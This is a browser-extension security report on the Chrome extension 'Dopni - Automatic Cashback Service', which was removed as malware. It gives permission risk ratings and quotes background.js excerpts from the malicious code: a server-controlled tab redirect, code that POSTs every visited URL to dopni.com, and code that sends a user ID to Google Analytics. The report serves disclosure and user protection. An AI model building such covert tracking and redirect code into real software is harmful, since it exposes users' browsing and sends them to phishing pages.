Chrome Web Store
1Versions
1Code reviewed

Do not install

Store removal · confirmed in code review

The Chrome Web Store removed this extension as malware (as of May 2021). Our own code review independently reached the same conclusion. Do not install it. Remove it if you already have it.

Dopni - Automatic Cashback Service

Dopni - Automatic Cashback Service

ID: ekafoahfmdgaeefeeneiijbehnbocbij

Supported Languages

🇺🇸English
🇷🇺Russian

Extension Info & Metadata

Status
Active
Version
0.0.2.010
Size
0.42 MB
Rating
5.0/5
Reviews
1
Users
11
Type
Extension
Updated
May 19, 2021
Category
Shopping
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

This publisher

1 extension, all still listed

Publisher Contextual Analysis

Author
dopni.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
Yes
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
1
Obsolete
0
Listed
0
Unlisted
1
Total Users
11
Item
Type
Severity
Description
*://*/*
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation• 15% increase: Older manifest version lacks modern security controls
declarativeContent
Permission
Medium
This permission controls extension activation based on page content. Rated Medium because it can monitor page content matches and selectively activate extension features.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

The `go` field from the dopni.com server response is used to redirect the active tab using `new URL(n.go, "https://dopni.com")`. Because `URL()` resolves absolute URLs regardless of the supplied base, the server can supply any absolute URL (e.g., a phishing domain) and the extension will silently redirect the user there — granting the remote server full arbitrary tab-redirect capability on every page visit.

background.js (Line 5603)
var e = new URL(n.go, "https://dopni.com");chrome.tabs.update(t.id, {    url: e.href  }, l.updateTabCB.bind(l.updateTabCB, n))  ...  // Also at onVerifyLink:  var e = new URL(r.go, "https://dopni.com");chrome.tabs.update(t.id, {  url: e.href}, l.updateTabCB.bind(l.updateTabCB, r))

On every tab update (loading or complete), the full page URL is POSTed to `https://dopni.com/site/api/client/link/verify`. The CWS listing declares no data collection whatsoever, making this undisclosed mass collection of the user's complete browsing history sent to a remote third-party server.

background.js (Line 5464)
function i(t) {  return e({    url: "".concat("https://dopni.com", "/site/api/client/link/verify"),    body: {      link: t    }  })}...l.onUpdated: function(t, r, n) {    r && r.status && ("loading" === r.status || "complete" === r.status) && (        f.getCurrentUser((function() {              i(n.url) // sends every tab URL to dopni.com                .then(...)

A persistent user identity (`user_data.id`, assigned by dopni.com) is exfiltrated to Google Analytics on every page-reload event. This tracks individual users across all browsing sessions without any disclosure in the CWS privacy-collection fields, and correlates the user's dopni account ID with browsing activity in a third-party analytics platform.

background.js (Line 5473)
function u(t, r, n) {  chrome.storage.local.get("user_data", (function(e) {    if (e && e.hasOwnProperty("user_data")) {      var o = "https://www.google-analytics.com/collect?v=1&tid=".concat(encodeURIComponent(          "UA-195868583-1"), "&cid=")        .concat(encodeURIComponent(e.user_data.id), "&t=event&ec=")        .concat(encodeURIComponent(t), "&ea=")        .concat(encodeURIComponent(r));      o += n ? "&el=".concat(encodeURIComponent(n), "&z=")        .concat(Date.now()) : "&z=".concat(Date.now());      var i = new XMLHttpRequest;      i.open("GET", o), i.send()    }  }))}

By severity

Critical1
High1
Medium1
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.0.2.0103

Files with findings

1 distinct path — top paths by unique finding count:

  • background.js3
S.No.
Category
Severity
File
Summary
Found in Version
1Other
critical
background.js (line 5603)The `go` field from the dopni.com server response is used to redirect the active tab using `new URL(n.go, "https://dopni.com")`. Because `URL()` resolves absolute URLs regardless of the supplied base, the server can s…
2Unauthorized Data Collection
high
background.js (line 5464)On every tab update (loading or complete), the full page URL is POSTed to `https://dopni.com/site/api/client/link/verify`. The CWS listing declares no data collection whatsoever, making this undisclosed mass collectio…
3Tracking
medium
background.js (line 5473)A persistent user identity (`user_data.id`, assigned by dopni.com) is exfiltrated to Google Analytics on every page-reload event. This tracks individual users across all browsing sessions without any disclosure in the…
URLs
13

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fb.me/use-check-prop-typeshttp://fb.me/use-check-prop-types
reactjs.org/docs/error-decoder.htmlhttps://reactjs.org/docs/error-decoder.html?invariant=
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
www.w3.org/XML/1998/namespacehttp://www.w3.org/XML/1998/namespace
www.w3.org/1999/xhtmlhttp://www.w3.org/1999/xhtml
www.w3.org/2000/svghttp://www.w3.org/2000/svg
www.w3.org/1998/Math/MathMLhttp://www.w3.org/1998/Math/MathML
redux.js.org/api-reference/storehttps://redux.js.org/api-reference/store#subscribelistener
reactjs.org/link/react-polyfillshttps://reactjs.org/link/react-polyfills
dopni.com-https://dopni.com
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Verdict
Findings
Permhash
0.0.2.010
Latest
0.42 MBCaution3
Showing 1 to 1 of 10 rows
Rows per page:

About this extension

Up to 60% refunds for purchases online

Read the publisher’s full description

You buy online - We refund % of money from these purchases

Screenshots & videos

Screenshot 1
Screenshot 2
Screenshot 3

Install growth

User reviews

Extension files

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.